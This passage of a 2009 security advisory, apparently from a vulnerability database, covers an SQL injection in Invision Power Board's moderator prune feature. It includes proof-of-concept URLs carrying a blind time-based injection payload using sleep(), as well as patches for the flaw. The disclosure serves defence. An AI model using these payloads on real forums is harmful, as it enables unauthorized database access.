.= " AND pinned=0";\r\n1857 | }\r\n1858 |\r\n1859 |\r\n1860 | return $sql;\r\n1861 | }\r\n\r\nAll of the IF statements with intval() are to ensure that the \r\narguments passed\r\nto the function are numeric before they are placed inside a WHERE \r\nclause of a\r\nquery.\r\nBecause of the way that intval() works, it is possible to fool the \r\nfunction by\r\npassing a string like: '1 OR sleep(5) '. In such case intval() will \r\nreturn a\r\nvalue of 1 thus satisfying the IF conditions and causing the string to \r\nbe\r\nplaced inside the query.\r\n\r\nThe sqlPruneCreate function is used 2 times in a code that performs some\r\nmoderator's tasks. One invocation of it can be found in:\r\n\r\nline | file: admin/applications/forums/modules_public/moderate/ \r\nmoderate.php\r\n2323 | protected function _pruneMove()\r\n2324 | {\r\n2325 | //-----------------------------------------\r\n2326 | // Check\r\n2327 | //-----------------------------------------\r\n2328 |\r\n2329 | $this->_resetModerator( $this->topic['forum_id'] );\r\n2330 |\r\n2331 | $this->_genericPermissionCheck( 'mass_move' );\r\n2332 |\r\n2333 | ///-----------------------------------------\r\n2334 | // SET UP\r\n2335 | //-----------------------------------------\r\n2336 |\r\n2337 | $pergo = intval( $this->request['pergo'] ) ? \r\nintval( $this->request['pergo'] ) : 50;\r\n2338 | $max = intval( $this->request['max'] );\r\n2339 | $current = intval($this->request['current']);\r\n2340 | $maxdone = $pergo + $current;\r\n2341 | $tid_array = array();\r\n2342 | $starter = trim( $this->request['starter'] );\r\n2343 | $state = trim( $this->request['state'] );\r\n2344 | $posts = intval( $this->request['posts'] );\r\n2345 | $dateline = intval( $this->request['dateline'] );\r\n2346 | $source = $this->forum['id'];\r\n2347 | $moveto = intval($this->request['df']);\r\n2348 | $date = 0;\r\n2349 | $ignore_pin = intval( $this->request['ignore_pin'] );\r\n2350 |\r\n2351 | if( $dateline )\r\n2352 | {\r\n2353 | $date = time() - $dateline*60*60*24;\r\n2354 | }\r\n2355 |\r\n2356 | //-----------------------------------------\r\n2357 | // Carry on...\r\n2358 | //-----------------------------------------\r\n2359 |\r\n2360 | $dbPruneWhere = $this->modLibrary->sqlPruneCreate( $this- \r\n >forum['id'], $starter, $state, $posts, $date, $ignore_pin );\r\n2361 |\r\n2362 | $this->DB->build( array(\r\n2363 | 'select' => 'tid',\r\n2364 | 'from' => 'topics',\r\n2365 | 'where' => $dbPruneWhere,\r\n2366 | 'limit' => array( 0, $pergo ),\r\n2367 | ) );\r\n2368 | $batch = $this->DB->execute();\r\n... |\r\n\r\nAs we can see there are 2 variables that come from a user and are not\r\nconverted to a number before they are passed to the sqlPruneCreate \r\nfunction:\r\n$starter and $state.\r\nThe second variable cannot be used in SQL Injection as it will be \r\ntreated as a\r\nstring and embraced with quotes by sqlPruneCreate. A string passed in \r\n$starter\r\nvariable will be placed unquoted in the query as long as the first \r\ncharacter\r\nis a number allowing a logged in moderator to perform an SQL Injection \r\nattack.\r\n\r\nThe vulnerability is somewhat tricky to exploit as there are quite a few\r\nrestrictions that make creating a successful sql attack vector \r\ndifficult. Only\r\nthe WHERE statement can be controlled, quotes are filtered, and UNION \r\nor sub\r\nselects are prohibited too (at least in case of a MySQL driver). To \r\ntop it\r\nall, the results of the query are not outputted to the browser so it \r\nwill have\r\nto be a blind injection.\r\nNevertheless a crafty attacker might issue a series of requests that \r\nmight\r\nallow him to gain some information about the target system or even read\r\nfiles from the disk depending on permissions granted to the db account \r\nthat is\r\nused by the forum. Other attacks might also be possible when a \r\ndatabase engine\r\nother than MySQL is used.\r\n\r\n2. Proof of concept.\r\n\r\nIf a logged in user with moderator privileges requests an URL like:\r\n\r\nhttp://server-with-ipb-3.x.x-forum.com/forum/?app=forums&module=moderate&section=moderate&f=1&do=prune_move&df=3&pergo=50&dateline=0&state=open&ignore_pin=1&max=0&starter=1%20AND%20starter_id=1%20OR%20substr(version(),1,1)=5%20AND%20sleep(15)%20--%20skip%20&auth_key=c4276b77602767228faa9760eb4a5abd\r\n\r\nin case of IPB 3.x, or:\r\n\r\nhttp://server-with-ipb-2.x.x-forum.com/forum/?act=mod&f=1&CODE=prune_move&df=3&pergo=50&dateline=0&state=open&ignore_pin=1&max=0&starter=1%20AND%20starter_id=1%20OR%20substr(version(),1,1)=5%20AND%20sleep(16)%20--%20skip%20&auth_key=040c4a6e768d626b4c05a4bb0fbf315c\r\n\r\nin case of IPB 2.x.\r\n\r\nA query similar to:\r\n\r\nSELECT tid FROM ibftopics WHERE forum_id=1 AND starter_id=1 AND \r\nstarter_id=1\r\nOR substr(version(),1,1)=5 AND sleep(15) -- skip AND state='open' AND \r\npinned=0\r\nLIMIT 0,50\r\n\r\nwill be run against the database.\r\nThe query will check if a major version of MySQL server is equal to 5. \r\nIf that\r\nis the case a sleep function will be run which will slow down the page \r\nload by\r\n15 seconds thus revealing the result of the query.\r\n\r\nFor this to work a valid auth_key needs to be supplied (that can be \r\nobtained\r\nby going to any of the forums, clicking Forum Management button and \r\nselecting\r\nPrune/Mass Move feature). Source ($f) and Destination ($df) forums \r\nparameters\r\nin the URL might also need adjusting.\r\n\r\nVI. BUSINESS IMPACT\r\n-------------------------\r\nThe Local PHP File Inclusion vulnerability can be especially dangerous \r\nin a\r\nshared hosting environment. Even if server has been configured to \r\nprevent\r\nusers from reading each other's document roots (web server/PHP process\r\nrunning in a context of the site's owner), an attacker that has an \r\naccount on\r\nthe same server as the targeted site could use the vulnerability to \r\nplace a\r\nphp file in a shared directory like /tmp and cause the IPB forum on \r\nthe target\r\nto execute his code thus gaining access equivalent to the owner of the\r\nwebsite.\r\n\r\nThe SQL Injection vulnerability is only a threat in case there are \r\nmoderators\r\non the forum that cannot be fully trusted or if an attacker manages to\r\nsteal/guess their passwords. Possible risks in case of a successful\r\nexploitation of this flaw have been described in the previous section.\r\n\r\nVII. SYSTEMS AFFECTED\r\n-------------------------\r\nAll of the IPB versions of the 3.x series (including the newest \r\nrelease of\r\n3.0.4) are affected by the Local PHP File Inclusion and SQL Injection\r\nvulnerabilities.\r\n\r\nProbably most if not all of IPB releases of the 2.x series (including \r\n2.3.6)\r\nare affected by the SQL Injection vulnerability.\r\n\r\nVIII. SOLUTION\r\n-------------------------\r\nVendor has been informed about the vulnerabilities and should be \r\nreleasing\r\npatches soon.\r\n\r\nI attach 2 patches for the current versions of both 2.x and 3.x series \r\nthat\r\ncan be used as a temporary solution.\r\n\r\nIPB 3.0.4 patch:\r\n\r\ndiff -Nprub ipb304/admin/applications/forums/sources/classes/ \r\nmoderate.php ipb304-patched/admin/applications/forums/sources/classes/ \r\nmoderate.php\r\n--- ipb304/admin/applications/forums/sources/classes/moderate.php \r\n2009-10-08 16:34:50.000000000 +0100\r\n+++ ipb304-patched/admin/applications/forums/sources/classes/ \r\nmoderate.php 2009-11-29 01:01:49.000000000 +0000\r\n@@ -1829,18 +1829,18 @@ class moderatorLibrary\r\n\r\n if ( intval($date_exp) )\r\n {\r\n- $sql .= " AND last_post < {$date_exp}";\r\n+ $sql .= " AND last_post < ". intval($date_exp);\r\n }\r\n \r\n if ( intval($starter_id) )\r\n {\r\n- $sql .= " AND starter_id={$starter_id}";\r\n+ $sql .= " AND starter_id=". intval($starter_id);\r\n \r\n }\r\n \r\n if ( intval($post_min) )\r\n {\r\n- $sql .= " AND posts < {$post_min}";\r\n+ $sql .= " AND posts < ". intval($post_min);\r\n }\r\n \r\n if ($topic_state != 'all')\r\ndiff -Nprub ipb304/admin/sources/base/ipsRegistry.php ipb304-patched/ \r\nadmin/sources/base/ipsRegistry.php\r\n--- ipb304/admin/sources/base/ipsRegistry.php 2009-10-08 \r\n16:34:24.000000000 +0100\r\n+++ ipb304-patched/admin/sources/base/ipsRegistry.php 2009-11-29 \r\n00:57:13.000000000 +0000\r\n@@ -479,6 +479,9 @@ class ipsRegistry\r\n \r\n /* First pass of app set up. Needs to be BEFORE caches and member \r\nare set up */\r\n self::_fUrlInit();\r\n+ IPSLib::cleanGlobals( $_GET );\r\n+ IPSLib::cleanGlobals( $_REQUEST );\r\n+ IPSLib::cleanGlobals( self::$request );\r\n\r\n self::_manageIncomingURLs();\r\n\r\n\r\nIPB 2.3.6 patch:\r\n\r\ndiff -Nprub ipb236/sources/lib/func_mod.php ipb236-patched/sources/lib/ \r\nfunc_mod.php\r\n--- ipb236/sources/lib/func_mod.php 2009-11-29 01:10:13.000000000 +0000\r\n+++ ipb236-patched/sources/lib/func_mod.php 2009-11-29 \r\n01:19:23.000000000 +0000\r\n@@ -1219,18 +1219,18 @@ class func_mod\r\n \r\n if ( intval($date_exp) )\r\n {\r\n- $sql .= " AND last_post < $date_exp";\r\n+ $sql .= " AND last_post < ". intval($date_exp);\r\n }\r\n \r\n if ( intval($starter_id) )\r\n {\r\n- $sql .= " AND starter_id=$starter_id";\r\n+ $sql .= " AND starter_id=". intval($starter_id);\r\n \r\n }\r\n \r\n if ( intval($post_min) )\r\n {\r\n- $sql .= " AND posts < $post_min";\r\n+ $sql .= " AND posts < ". intval($post_min);\r\n }\r\n \r\n if ($topic_state != 'all')\r\n\r\n\r\nApply by going to your forum's directory and running the command:\r\npatch -p1 < path_to_the_patch\r\n\r\nIX. REFERENCES\r\n-------------------------\r\nhttp://www.invisionpower.com/products/board/\r\n\r\nX. CREDITS\r\n-------------------------\r\nThe vulnerabilities have been discovered by Dawid Golunski\r\ngolunski (at) onet (dot) eu\r\n\r\nXI. REVISION HISTORY\r\n-------------------------\r\nDecember 4th, 2009: Initial release\r\n\r\nXII. LEGAL NOTICES\r\n-------------------------\r\nThe information contained within this advisory is supplied "as-is" \r\nwith no\r\nwarranties or guarantees of fitness of use or otherwise. I accept no\r\nresponsibility for any damage caused by the use or misuse of this \r\ninformation.", "published": "2009-12-04T00:00:00", "modified": "2009-12-04T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:22869", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:32", "edition": 1, "viewCount": 19, "enchantments": {"score": {"value": 1.7, "vector": "NONE"}, "dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:10443"]}], "rev": 4}, "backreferences": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:10443"]}]}, "exploitation": null, "vulnersScore": 1.7}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645521608}}